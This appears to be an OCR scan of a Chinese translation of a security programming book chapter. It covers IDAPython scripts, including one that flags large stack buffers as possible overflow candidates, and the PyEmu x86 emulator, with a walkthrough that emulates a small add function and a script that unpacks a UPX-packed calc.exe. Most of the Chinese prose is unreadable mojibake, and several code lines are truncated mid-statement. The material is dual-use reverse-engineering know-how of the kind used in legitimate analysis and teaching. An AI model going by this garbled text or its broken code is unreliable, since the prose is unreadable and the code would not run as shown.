SetBptAttr( function, BPTATTR_FLAGS, 0x0 )
num_breakpoints = GetBptQty()
print "[*] Set %d breakpoints." % num_breakpoints

{ R— >

B—H 2% debugger hook , BXFH L £ ERRARE, EEEF RIS
B Bdhit, 7EE U Eix BRI R, SetBptAttr &Sk iXdR, BEM=E, TH
BT, sk AT MREEZIHM, BHRMNMREFIMERRSRT, TREDLE
M. xE—EEEI EHATEM RBE, 35— BT & Byt {X,
debugger hook E MR L IR ATT EIH HFTAIHLE, X PR % & ea 1R
fit, ©5|A4AI EIP FFHME. AEETHRSE (B4 F9) , REEENER
LB MITT, URENHRITHIRE,

11.3.3 i+ B A KN

B BN — I EFR#ITRE R ENHE, THERIZEANENKXNEZREE

B, FALABAMAANE, ZHARMNR—NME4RRHFFHAL AKX, MR
BEE, BN BRRELB EA2ZVHEL, ENESHATENREE, ERX
NTREEREFHERF B, TERMNB—EREIENRSEHRX TS : WEERF
PATEMEE, ARKEXERMHVAER, NRAKEHIXK/NFERNMBER,

FLITEN Sk, M LFEimiEASFHERE, BT AXERFNE, RN
ER BRI K R L MR R ER 2



#stack_calc.py
from idaapi import *
var_size threshold = 16 current_address = ScreenkEA()
for function in Functions(SegStart(current_address), SegEnd(current
stack_frame = GetFrame( function )
frame_counter = 0
prev_count = -1
frame_size = GetStrucSize( stack_frame )
while frame_counter < frame_size:
stack_var = GetMemberName( stack_frame, frame_counter )
if stack_var !'= "":
if prev_count != -1:
distance = frame_counter - prev_distance
if distance >= var_size_threshold:
print "[*] Function: %s -> Stack Variable: %s (%d |
else:
prev_count = frame_counter
prev_member = stack_var

try:
frame_counter = frame_counter + GetMemberSize(stacl
except:
frame_counter += 1
else:
frame_counter += 1
| — o]

HNxET —THEME, AREE—TRIENKRNEFEEENNFRK ; xB%E
K16 NFH, TP ARBAUZ R TEMAANKNEESHNER, %, B
F 3 EXNFTE B, SEENRBBAERR, BB GetStrucSize i+ EHAIE
BRI KN, BFERESR RPN TE, NRKETE, LRI T ENMEAER
— N EENMNE, RAEBIZ INEE+ER T ESHENZE KN, NRK/NS

A, MITEIEE, WIRFB K, Bzt EHRTENKR/ND, AN EHFRAL

B, BET— 1 ZEMMNE, NMRTEHATENK /DN, MEYTIMAE & £/
—NFH, BHET—NMIE, ABR#sEFR, EHEREITH, BNOMEFE®RE
F LU0,

[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes)
[*] Function: sub_149c -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a9aa -> Stack Variable: var_14 (36 bytes)

Listing 11-2: stack_calc.py B

AEFKMB T IDAPython ME#KR, RthzFLan TILINMREZ Y BRI,
X ENNEIAR, [EBRNDYEIEELW ], E¥RIRED, REE4ME—Y,
T—Fir$ 1ME—%F IDAPython 895217 2 A3 : PyEmu, — 1 ETF Python B x86
FE2R.



12 PyEmu

PyEmu i Cody Pierce(TippingPoint DVLabs team) F 2007 7E B A& EERA
i, PyEmu 2—MF Python 2B IA32 {5 8E3%, AT{HE CPU MIE 1T % LA
TR S, 6 ERIEEFER, LA R RFEENHR, BNMAREEMNE
78, MEddhERRREERNENFERET, PEMUBE B = %
:IDAPYEmu, PyDbgPyEmu #1 PEPYEmu , IDAPYEmu F-F7E IDA Pro R5ER &
M{FE{E 4% (H DAPython ;8F, #&%E 11 %) , PyDbgPyEmu :AF# A%
r, A eRFERRNEENRAENEFR.

PEPYEmu ¥ 2— MHRIIHERADWE, TEE IDARBEMR CHTES. HiE
E1MN 3

IDAPYEmu #1 PEPYEm, # T8 PyDbgPyEmu B4 AFRBECEXL. FEEM
PyEmu & &8, BERANBHESRNRW, H 28 RIEFEL,



12.1 %% PyEmu

M http://www.nostarch.com/ghpython.htm T &HEEITSIFXHE, MNREEHR
%% google code £,

XHT&FRE, #EE C\PYEmu, B XR4612 PyEmu AR &R, HMEIMALT
71T Python X3 :

sys.path.append("C:\PyEmu\")
sys.path.append("C:\PyEmu\1lib")

ETREBAMATERT PYEmu R4, AERENMALE,


http://www.nostarch.com/ghpython.htm

12.2 PyEmu — ¥

PyEmu XD R =NEEMR 4% : PyCPU, PyMemory #1 PyEmu, 51X E &
%8 72 PyEmu %, ©FH PyCPU #1 PyMemoey X B 5K E Z B{HE T E,
LA XIRFH PyEmu T —NMETHR, ERAA PyCPU ZEREENIES
#®17F, PyCPU E#1TIESE o, EZEEMNNFRFES /K PyEmu, H
PyEmu 4% 4:38 i PyMemory #%BIST I ENNE S RVIEIE, =/EH PyEmu [HESH
s RIREL A AE,

BETE, 2BNFENTETENFRAMMBMNMERAE, UERIFMEARG XK
B PyEmu B M5=M T 14, Bt KRBEExt 2 rrm BEN IR T 2,

12.2.1 PyCPU

PyCPU % 2 PyEmu B9%/i0, BSEMKMERLE CPU —#, EHENIEH, ©
fi & #ITES. & PyCPU KE—NMESHR, SEAELRIBSIEH (HA 585
2 HTEY IDA Pro/PEPYEmMuU K& i & 3 53880 PyDbg # E), AEMIES 44
pydasm, HEERDK RIEBFIRIEIR, PyCPU 1AM 25 SRIBE NfE
19 PyEmu MIEEE A T K T /TRE., & PyEmu BINEINIES, #E—NMEst A
HEE, =MF, NRIFIES CMP EAX 1 4 PyCPU, ###& PyCPU #t&iA
F PyCPU CMP()EE M ITEIERIRIE, FMHRES RRVHEN @, Z2FiEE CPU
BEAL, SirEFRXREENER, BXBHEMETLL HF PyCPU.py, FIE
B PyEmu XIFMIES LA BRBEEXE, BdfERE LA CPU 2i01[E5E
FRARLERFU YR 2 R EBY, 23RO aMA 5%, Cody £ EEAE D EIIR,

12.2.2 PyMemory
PyMemor #i % M& M FEHITIESHDERIE, Bt o Ut AT nITR2F3

FOEN FB3r TR, LUERGESRF . EREEANEELZE, LBRNEE
Bl % PyEmu, LURERXRBY % AL,

12.2.3 PyEmu
PyEmu i £k s BNMHESRNEE, PYEmu 2 KRB LHISER 2 EMRE, @
B 2 BRESBRRNF L HEBANGESREAR, MARAXOKEIRE, x—tIEH

PyEmu 12t EEBIERE 0, FREMNBELBMMNINMNERIETSEGE, I
BEREBERNTRE, R ETSTEHFLARRRFNESESE, TEMREXKE—NZEi.

12.2.4 3 ITIRIFE

PyEmu BI# 1T it 2 — N EIER, execute(), RELUNT :

execute( steps=1, start=0x0, end=0x0 )



BH=ANSH, MR—NERERME, FLM PyEmu ZHaTRghit FFi8 34T, XML
it 2 PyDbg H EIP ZE8R1EAMAGIE, =2 PEPYEmu MN& M A H TR
A OHLE, 1342 IDAPro YAFT /4 MIALE., start A FFIAMITHIHLE, steps #
IATHIE S EE, end # 4 RAGHLL,

12.2.5 IS ERE

RN REFESAENAEERANEIEPREHNEE, PYEmuFENDKT 4
¥ : NTE, # % =(stack variables), #Z#(stack arguments), FHFgR, RFE
YEE get_memory() #1 set_memory()5E K.

get_memory( address, size ) set_memory( address, value, size=0 )

get_memory()EEIEIN 2 NS address » E & iBuithtt, size » E# BSEIEHN
A/N, set_memoey() fi & BEAIE, address B AR, value 3B A&,
size # B ABIER K/,

;‘; HmEETRIBENRBEERS, TE i FARERPEESHIAM T 2RI
2R Bk,

set_stack_argument( offset, value, name="" )
get_stack_argument( offset=0x0, name="" )
set_stack_variable( offset, value, name="" )
get_stack_variable( offset=0x0, name="" )

set_stack_argument()#J offset #xt 5 ESP, FTF i ARBNSH#TRE. £
B PR LR M AT AR s BB T, get_stack_argument()i@it offset 1§ EHY
MstF ESP MLIF2 # BS8@E, HEBIIEERN name(RIIREE
set_stack_argument iR T )ik 15, FHAAX WTF :

set_stack_argument( 0x8, 0x12345678, name="arg_0" ) get_stack_argur
get_stack_argument( "arg_0" )

j S— >

set_stack_variable()# get_stack_variable()BJ#&{Eth £ LIFR T offset 2t F
EBP(#IR ST #80%) AN, AAEMN i #IRFRENEE T =.

12.2.6 K IBEHEL

RIBEBURM T —MIEE R ABARENEALH, AT AR, REXEENERFN
BEED. PYEmu A 8 NEEXRIEEE : register KIEEK %L, library & IREK%,
exception K IEEKEY, instruction KX IEEKEY, opcode KL IEEKEL, memory K IB B,
high-level memory X B #ix A program counter X BB, LFHA1IREFM TR T
B— TR, 2EHMNL EZETRIEN.



12.2.6.1 Register X IR
Reglster Handlers HF& 4 BEKE, AT LEAEMNEESENRET. REETFEHEN
EE (Boamtitft % Register Handlers, REARMTF :

set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )

TEFE, MEEELLEBEHAT, REMOT :

def register_handler_function( emu, register, value, type ):

YR IBEEAE A e R, FIESHERX PyEmu £ A, E—1NSHELZE PyEmu

2l &, BEERSTFad, UKSTHEHRNME, type SRBNXREER T2

‘—:;'-o ’E AT 22 AAZXMARNNREFREESL LB KRKEAE, WIREER
BETERIBEHBEBER T E 11,

12.2.6.2 ### Library 2 FREREL

Library handle }?F&JE N3, BEIEERAIEIRATENAS A AR, EenaBE#E
;Zﬁgﬁﬁif\ e, XHEFEERAFEMNENNETERKARARAUKEREE, &
XARWMTF :

set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_process_handler )
set_library_handler("LoadLibraryA", loadlibrary)

EXEBERENREMNT

def library_handler_function( emu, library, address ):

B—PNSHELE PYEmu B2 61, library AFBMNBE R K, EE, B=
EH MRS ERF R,

12.2.6.3 Exception & K

Exception Handlers & X IR E ZEN 0" L IEBEREELE", PyEmu {fE2
AR Eﬁ%ﬁﬂk Exception Handlers BJi8 . %A1 PyEmu XHHBRRP 2, B
N IFMEES RIBEEDRPHEMAF S 7 E6l, ZEARMOT :

set_exception_handler( "GP", gp_exception_handler )

Exception & IBEEREEMNT :



def gp_exception_handler( emu, exception, address ):

B, B—NSEE PyEmu 25, exception #F &K, address »ZHE % £H
ok,

12.2.6.4 Instruction & IR %K

Instruction Handlers 545 & 3B %K, 1E'<§i7( A A R S EMNIES. TR
Cody 7% BlackHat it RREVARH, {REE4SEiITE—D CMP IETHIRIBEE, K
» M EBNERR B9 YIEr, FiERE .

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

Instruction X IBEKEEEIINTF -

def cmp_instruction_handler( emu, instruction, opl, op2, op3 ):

BE—NSHEBIRR PyEmu 52/, instruction 0] # #HITHIIES, BZHA=ZNEHEH
BEMYiz Bt R,

12.2.6.5 Opcode & FRE#X

Opcode handlers 12 /F 2 L IR EFNIE T R IBHHFEBFBELL, FEM—NMFERRE
Bt (TR, #BS A Opcode handlers, X 431 X3 RIEEITE % S EE
MY, NS SAETEERAEMNRELAXEKH T e Mz Bt R, 0,
PUSH EAX atiZ2{E=32 0x50, 1M PUSH 0x70 etiE{E=32 0x6A, SEFEENES
B /E BT 2 Ox6A70, M FAf7 :

50 PUSH EAX
6A 70 PUSH 0x70

CHNREAEREE £ -

set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my_push_70_handler )

BT SHRAEFLMEE ﬁ)?%zmﬁ-a%ﬁ?&m E =3, %:A#‘@ﬁmkﬂﬂiﬁ
T, HIEASEEARRETENEY, MAUAUZZINEY, MEBEZNMF—H#, &
BEERBINT -

def opcode_handler( emu, opcode, opl, op2, op3 ):



B /\PyEmu 2, BEEABRY, opcode BHEIRFIMIEES, RFTH=1MIE
BS TEEEREINFENR,

12.2.6.6 Memory & IEEER%L

Memory handlers R17 & I2EE A T IRER T E LB 7. R LHMNEBHFE
E,JEE E‘Féé;q:ll:q:/u\/\tﬂqéﬁj:}ﬁl’l&éﬁ EE,JEQE f*io ﬁ% *D;ID—F

set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

address & % AFHMNBENRHWAFHLUE, my _memory_handler FLE2FH 18I
K M, HBERWT

def memory_handler( emu, address, value, size, type )

BTANSE address A % ERE 9 BIHtiE, value 24#52EEE B ABEIE,
size B BHIKR/N, type HirBNXREF2ERE,

12.2.6.7 High-Level Memory « IBER%L

High-Level Memory Handlers & % N7 & ERER %S, 1Emezuﬁ?,§jc Hit REEA,
BN ML AXPNAFR (BEAMHE) M5, XHEMELENERINEN G
¥, ENEEME, ZEHLNMT :

set_memory_write_handler( memory_write_handler )
set_memory_read_handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )
set_stack_write_handler( stack _write_handler )
set_stack_read_handler( stack_read_handler )
set_stack_access_handler( stack_access_handler )
set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )
set_heap_access_handler( heap_access_handler )

AN ERERARE G 2 NRE—IMREREMAIUT, EARENE HER
WA . RERHENRENT

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):

memory_write_handler #1 memory_read_handler R 2 # £ B89 IX PyEmu 32 5171
% %35 Bhit, S=4 access handler %7 — type B F B R A MBI 2
BB RLHIE, AR IEREA L —4, AR,



12.2.6.8 Program Counter % IEEK#{
The program counter handler 2% i+ # 25 L IBHE, [MEREREHITRRFE MUY 6t
xfh %, RELEMT :

set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678_pc_handler )

address A FNEE % mpit, —B CPU #JTRIx el £ 18 B,
238 PRI

def pc_handler( emu, address ):

FEZNSH address A #E IR R,

REHBMNS2#HMETT, PyEmuERR2, 2N enBTFsmI/EHT,
ET ke#1Tm ML, F—MFEA IDAPYEmMu £ IDA Pro i —1N 4 £ IR
AA, B L FEA PEPYEmu 22— UPX R4t (5 KETFRE 4518
) Zatlsg,



12.3 IDAPYEmu

BMBE— NI FRLZE7E IDA Pro 2R eHE, A PyEmu fAE—RH 28
B AA, XREBIEFFRE addnum.exe, EEINAEFZM B SITHER AN
S, AEME N, BHHsR, KLER C++%E, IM
http://www.nostarch.com/ghpython.htm & .

/*addnum.cpp*/

#include <stdlib.h>

#include <stdio.h>

#include <windows.h>

int add_number( int numl, int num2 )

int sum;
sum = numl + num2;
return sum;

int main(int argc, char* argv[])

int numli, num2;

int return_value;

if( argc < 2 )

{
printf("You need to enter two numbers to add.\n"); printf('
return 0O;

3

numl atoi(argv[1l]);

num2 atoi(argv([2]);

return_value = add_number( numi1, num2 );

printf("Sum of %d + %d = %d",numl, num2, return_value );

return 0O;

}
j E— o

RRFEMTITHE ANSE 5B, AEARadd_numberB#A8I0, i
add_number EEE A BMIBEMR, RAee i rmBERBREZ L E, F
HEAME B PyEmu BUEREN A k4%,

ERA PyEmu ERAZAI, iLF1EFE add_number IR C 4K 3,


http://www.nostarch.com/ghpython.htm

var_4= dword ptr -4

# sum variable arg_0= dword ptr 8
# int numl arg_4= dword ptr 0OCh
# int num2 push ebp

mov ebp, esp

push ecx

mov eax, [ebp+arg_0]

add eax, [ebp+arg_4]

mov [ebp+var_4], eax

mov eax, [ebp+var_4]

mov esp, ebp

pop ebp retn

Listing 12-1: add_number B9/ i 45X 72

var_ 4, arg 0, arg 4 D3 2SR EAFBME, M C+H+IIRCHERLBRATLUERE
HWE B, BENERBRTRE, MSBMARX%R. HBEER PyEmu (FEEAN

K, bl LEAHR %K, FEati%iE arg_0 # arg_4 A FHMNEEZREMA
¥, =G retn REIWeE, ik EAX B, tLRLEERHENREE. R FENE

BUFER T2, FIEBEMESRE M2 URBGENER, —BEHE.

12.3.1 HEHE
FAMARE, S—5HiA PyEmu BIRE % BIEH.

#addnum_function_call.py

import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\1lib")
from PyEmu import *

BEFEBRRECRER, MEFRRBPESRSNHET. BESRMNYRNERD,
fm B MEERRARFESRD, UMEHFERHEZ1T. AABRMNSER
IDAPython fN# X 3h, tHERXEBAABHEE, #BRE+—=F, AEHik.



J

#addnum_function_call.py

emu = IDAPyYEmu()

# Load the binary's code segment

code_start = SegByName(".text")

code_end = SegEnd( code_start )

while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=:
code_start += 1

print "[*] Finished loading code section into memory."

# Load the binary's data segment

data_start = SegByName(".data")

data_end = SegEnd( data_start )

while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=:
data_start += 1

print "[*] Finished loading data section into memory."

1 2

FEREMBESRAEZRIERY A 2 F{b—1 IDAPYEmuU st R, EEFR 2
#&5: & # PyEmu BIARTE, ZEIH2BKEBEEERE, £ IDAPython By
SegByName()BE#1#, 32 E, SegEnd() B, RAE—1"—1NF F BFx L

rh

I

B HEFE N B PyEmu BIRTFE B, XML& NETkiE, MELERSH
FESWALIERLE, REHALRE —1 retn ETLEERE.

#addnum_function_call.py

# Set EIP to start executing at the function head
emu.set_register("EIP", 0x00401000)

# Set up the ret handler
emu.set_mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call
emu.set_stack_argument (0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(0Oxc, O0x00000002, name="arg_4")
# There are 10 instructions in this function
emu.execute( steps = 10 )

print "[*] Finished function emulation run."

B R EIP $8mEIEE L, 0x00401000, PyEmu {FERFHMX EFIBHITIES.

£

A, TEEEHB retn 55 LR E Bz fi(mnemonic)s & 185 K KL

(set_instruction_handler), % =%, R EBEXRSHLUAHEEBAR, EXEREK
0x00000001 #1 0x00000002, =f5ik PYEmu #ITSERENEKEL 10 1783, TE

B

(AL N



#addnum_function_call.py

import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\1ib")
from PyEmu import *

def ret_handler(emu, address):

numl = emu.get_stack_argument("arg_0")

num2 = emu.get_stack_argument("arg_4")

sum = emu.get_register("EAX")

print "[*] Function took: %d, %d and the result is %d." % (num:

return True emu = IDAPYEmu()

# Load the binary's code segment

code_start = SegByName(".text")

code_end = SegEnd( code_start )

while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), s:
code_start += 1

print "[*] Finished loading code section into memory."

# Load the binary's data segment

data_start = SegByName('".data")

data_end = SegEnd( data_start )

while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), s:
data_start += 1

print "[*] Finished loading data section into memory."

# Set EIP to start executing at the function head

emu.set_register("EIP", 0x00401000)

# Set up the ret handler

emu.set_mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call

emu.set_stack_argument (0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(0Oxc, 0x00000002, name="arg_4")
# There are 10 instructions in this function
emu.execute( steps = 10 )
print "[*] Finished function emulation run."
| E— o]

ret IER KRR 2% ERAEREARSEI EAX B1E, REEREMNITEEH
. F IDA % addnum.exe, AN PyEmu BIA 2 {E IDAPython 4R . %
B RS

/e

*  F X F

e e e e

Finished loading code section into memory.
Finished loading data section into memory.
Function took 1, 2 and the result is 3.
Finished function emulation run.

Listing 12-2: IDAPYEmu {5 E B4 H



RFRE 2 | BOIRRRNZ, RSBALREEEMER, #HBARBBGERIIT,
1Byt —H B4 5, SAAUMEAENXY, BN E—IHEATHE, &
BEAMERE ER RSB ERMRBNARE, E—X, HFREF—DLTFTHE
Beyatix, BEIMA EEBIRMITHNO X, BFicB RS H P IRE K,
EMNFEANTRREEYE, BRE MRNED. ETHREFAMNA PEPYEMU A8 —1
w45 X

12.3.2 PEPYyEmu

PEPYEmu % AT H#ITXHMFHR L2 (FFE IDAPro) . BN RKIELEME
P & ERIRT AT XXM A BINFS, AEER pydasm #7852, THEHRRX
B, BB 3FEREIT N AEEIHATRITXE, AEIEHELERMNEIBX
HEEFIES £, 3ORE BN E%LKERE UPX(Ultimate Packer for
Executables), —##H KAFFIRE %%, FEatth 2EARICNWEERYE, BTR
ARERENEZARITXH, RAELERBERERRERS &, EFEABEL
PyEmuEIHJﬁI]ZIK( Cody Pierce 124 )x{ B # 1T LI, LB NEELYE BFEE
K ITEBY,

12.3.3 2212

EHEFBEREA, RBEHNER 1.44 % £ 9HE, REEFMARRATEEN
AR BERNNMNEENHNN® L ETR2E ETF5XMH), BESHRHE, KRR
R # A WEF L PRN—DEERND, AREXITE. —MHENEERER
S BEREFNR LR MBUER AT RS, RAEPRADRERMNFENND, Hi2
F#iTHeHE, AR osmal RIsKaMe#AE, AERIEIFREAOR
OEP(original entry point ), FFRIEEE TR, FEHRMNDHTIRREM 43 BFE
el thEm@reil. XHERRBEARXBTHN X AfES5 (BAHRME
BHHAAR) , TaaENRE—RBUARR XKD, FARARSAIT BE T FEEK
HWE%, BELLE?BEESR. BAYFNFEEMINBIEEHTHER, M 2N
EEZIHNRBENEFERTETT, ARERTCEHIRLATK, BEEHIEHERHX
IR 1B, #aRE e ., LUEREES EENDITAREN T,

XORF A% 4E UPX /£45 calc.exe, AEH PyEmu fi#re, &/ dump H¥E, e
xF AEREER TN EERER, ATABHEHTR,

1. UPX

UPX 2B HM, RN, BEFEAB(Linux Windows....), REARRE %%
7, M FZHMNER, AFEXREMARNESRES. BNERRANEER
K, #LIRATEE BIX.

M http://upx.sourceforge.net T # UPX,

BEEC &, EAXBRMERFAA, FILAENBAMGERITERIE, $TF CMD,
X T HEIE 2 Clupx303w(thmi2 UPX i 2B B &), M ALLT6S :


http://upx.sourceforge.net

C:\upx303w>upx -0 c:\calc_upx.exe C:\Windows\system32\calc.exe
Ultimate Packer for eXecutables

Copyright (C) 1996 - 2008

UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2(
File size Ratio Format Name

114688 -> 56832 49.55% win32/pe calc_upx.exe
Packed 1 file. C:\upx303w>

J m—— )
AIHBYE 4 T Windows BUi+ Has, FEH&##EIT C AT,
-0 AiHiFE, BEHEXHR, EBETE, %FE7T PEPYEmu 5 7T,

1. fE£FH PEPYEmu fi#/£ UPX

UPX R Rl ATIEFMAERG 2T  EEEFHNAODSR, BRFERE, Fat
A nm A mAEIR, UPXO0 #1 UPX1, A Immunity 10 & %R £ ERNERR
(ALT-M), S =EFE THELEH E -

Address Size Owner Section Contains Access Initial Access 00100000
01001000 00019000 calc_upx UPX® RWE RWE

0101A000 0OOO7000 calc_upx UPX1 code RWE RWE

01021000 0EOO7000 calc_upx .rsrc data,imports RW RWE

resources

{ S— >

Listing 12-3: UPX E % Z EMREFMAEFERR.

UPX1 S -4 a:, HPEGETEENHE AL, K228 UPX1 B EZE,
Bk B UPX1 3k, RlxBIEMA #ITR AR, FRHITER. BNEMBILEL
FEHRZTHRE K5, BEatFERL EIP F1 JMP, H%mE JMP IESHES EIP
BEEEH UPX1 EXBet fix, 3t BRSEIBk: BIRIBARBER T,

EIRFRAENRE, RN REMAIRILF PEPYEmMu &k,



#upx_unpacker.py
from ctypes import *
# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\1lib")
from PyEmu import PEPyEmu
# Commandline arguments
exename = sys.argv[1]
outputfile = sys.argv[2]
# Instantiate our emulator object
emu = PEPYEmu()
if exename:

# Load the binary into PyEmu

if not emu.load(exename):

print "[!] Problem loading %s" % exename
sys.exit(2)

else:

print "[!] Blank filename specified"

sys.exit(3) # Set our library handlers
emu.set_library_handler("LoadLibraryA", loadlibrary)
emu.set_library_handler("GetProcAddress", getprocaddress)
emu.set_library_handler("VirtualProtect", virtualprotect)
# Set a breakpoint at the real entry point to dump binary
emu.set_mnemonic_handler( "jmp", jmp_handler )
# Execute starting from the header entry point
emu.execute( start=emu.entry_point )

BE—F N E g XH MK #PYyEmu, % = £, 1E LoadLibraryA,
GetProcAddress, VirtualProtect =M ENEN L% & & KR IBEREN, X LREERGERE L
KadaHE, XLREM BNBEEFESRYENR. =%, ERLAERFNITT
FAE %-BEE] OEP MIet i, Ff it THEXBREME, XMESFEAE IMP B4 K E
M. ESkHESS, MEGRER LI FRHITRAE,

#upx_unpacker.py
from ctypes import *
# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\1lib")
from PyEmu import PEPyEmu
HMODULE WINAPI LoadLibrary(

in LPCTSTR lpFileName
8.
def loadlibrary(name, address):
# Retrieve the DLL name
dllname = emu.get_memory_string(emu.get_memory(emu.get_register ("ES
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dllname)
emu.set_register("EAX", dllhandle)



# Reset the stack and return from the handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)
return True
FARPROC WINAPI GetProcAddress(
in HMODULE hModule,
in LPCSTR lpProcName
ot
def getprocaddress(name, address):
# Get both arguments, which are a handle and the procedure name
handle = emu.get_memory(emu.get_register("ESP") + 4)
proc_name = emu.get_memory(emu.get_register("ESP") + 8)
# lpProcName can be a name or ordinal, if top word is null it':¢
# lpProcName M 16 fIZ null %, EFMERIE (BFE2 Hhil), T
if (proc_name >> 16):
procname = emu.get_memory_string(emu.get_memory(emu.get_re(
else:
procname = arg2
#iX arg2 AFEMMEITSEK, KiZE procname = proc_name
# Add the procedure to the emulator
emu.os.add_library(handle, procname)
import_address = emu.os.get_library_address(procname)
# Return the import address
emu.set_register("EAX", import_address)
# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
#xB izl r("ESP") + 8, RAEANSHEELRY
emu.set_register("EIP", return_address)
return True
BOOL WINAPI VirtualProtect(
in LPVOID lpAddress,
in SIZE_T dwSize,
in DWORD flNewProtect,
out PDWORD 1lpflOldProtect

-~
-~

def virtualprotect(name, address):
# Just return TRUE
emu.set_register("EAX", 1)
# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 16)
emu.set_register("EIP", return_address)
return True
# When the unpacking routine is finished, handle the JMP to the OEl
def jmp_handler(emu, mnemonic, eip, opl, op2, op3):
# The UPX1 section
if eip < emu.sections["UPX1"]["base"]:



print "[*] We are jumping out of the unpacking routine."
print "[*] OEP = Ox%08x" % eip

# Dump the unpacked binary to disk

dump_unpacked(emu)

# We can stop emulating now

emu.emulating = False

return True

{ S— >

LoadLibrary & EREEIAMAL HIEIR 8 ) DLL & F, AREERA ctypes B EE#
TEIEHN LoadleraryA A, XPDEEE kernel32.dll 3, ERXIRESE, &
AWML % 4 EAX T, BEMARGESK SEEXLERLURE, R#,
GetProcAddress RIBEBMNAEPRERANS Harg2), RAEEHFESRF
# 17 B 2 B9 38 F(emu.os.add_library #1 emu.os.get_library_address), iX 4
B # th B kernel32.dll & H (L At A LULFE R
windll.kernel32.GetProcAddress) . = /5 1B #h it 77 4% Bl EAX, 8 B & (X
B & {F & £ A emu.set_register("ESP", emu.get_register("ESP") + 8), it H
FREANSHE, mi%2+12), & B, F=1 VirtualProtect #IEEE, REH ?—EI’\J
REI— True &, EEME—HBAKIE FIMEEAFIRD, ZFAUXH#H, 2R
ABENAEEEENRPAGFHNENTEH ; B SEBREGESRTH
VirtualProtect i3 F#EBREIE, HEH JMP IESLEBRBMT —1N g L0, &
ERERHR K2R, MRBEH, FHiAMH dump_unpacked 4% 4 EIFE &
t, 2EERPERELETE, BETFEERT.

THEFZ dump_unpacked X2,

#upx_unpacker.py

def dump_unpacked(emu):
global outputfile
fh = open(outputfile, 'wb')
print "[*] Dumping UPX® Section"
base = emu.sections["UPX0"]["base"]
length = emu.sections["UPX0"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x"% (base, length)
for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))
print "[*] Dumping UPX1 Section"
base = emu.sections["UPX1"]["base"]
length = emu.sections["UPX1"]["vsize"]
print "[*] Base: Ox%08x Vsize: %08x" % (base, length)
for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))
print "[*] Finished."

BMREE 5 209R UPX0 #1 UPX1 & MR BB AN, —BXXHE dump X
I, MEEREIERRF—H#0MWMARENT. ERSITHERARBMNNEEHAE
E:



C:\>C:\Python25\python.exe upx_unpacker.py C:\calc_upx.exe calc_cl¢
[*] We are jumping out of the unpacking routine.

[*] OEP = 0x01012475

[*] Dumping UPX@ Section

[*] Base: 0x01001000 Vsize: 00019000

[*] Dumping UPX1 Section

[*] Base: 0x0101a000 Vsize: 00007000 [*] Finished.

C:\>

{ ] >

Listing 12-4:upx_unpacker.py B 51T H

RIEHMNE T — I FRIMEH calc.exe —#H calc_clean.exe, KINEmMK, BT
X EEEARENREXS, METACEREFEES,
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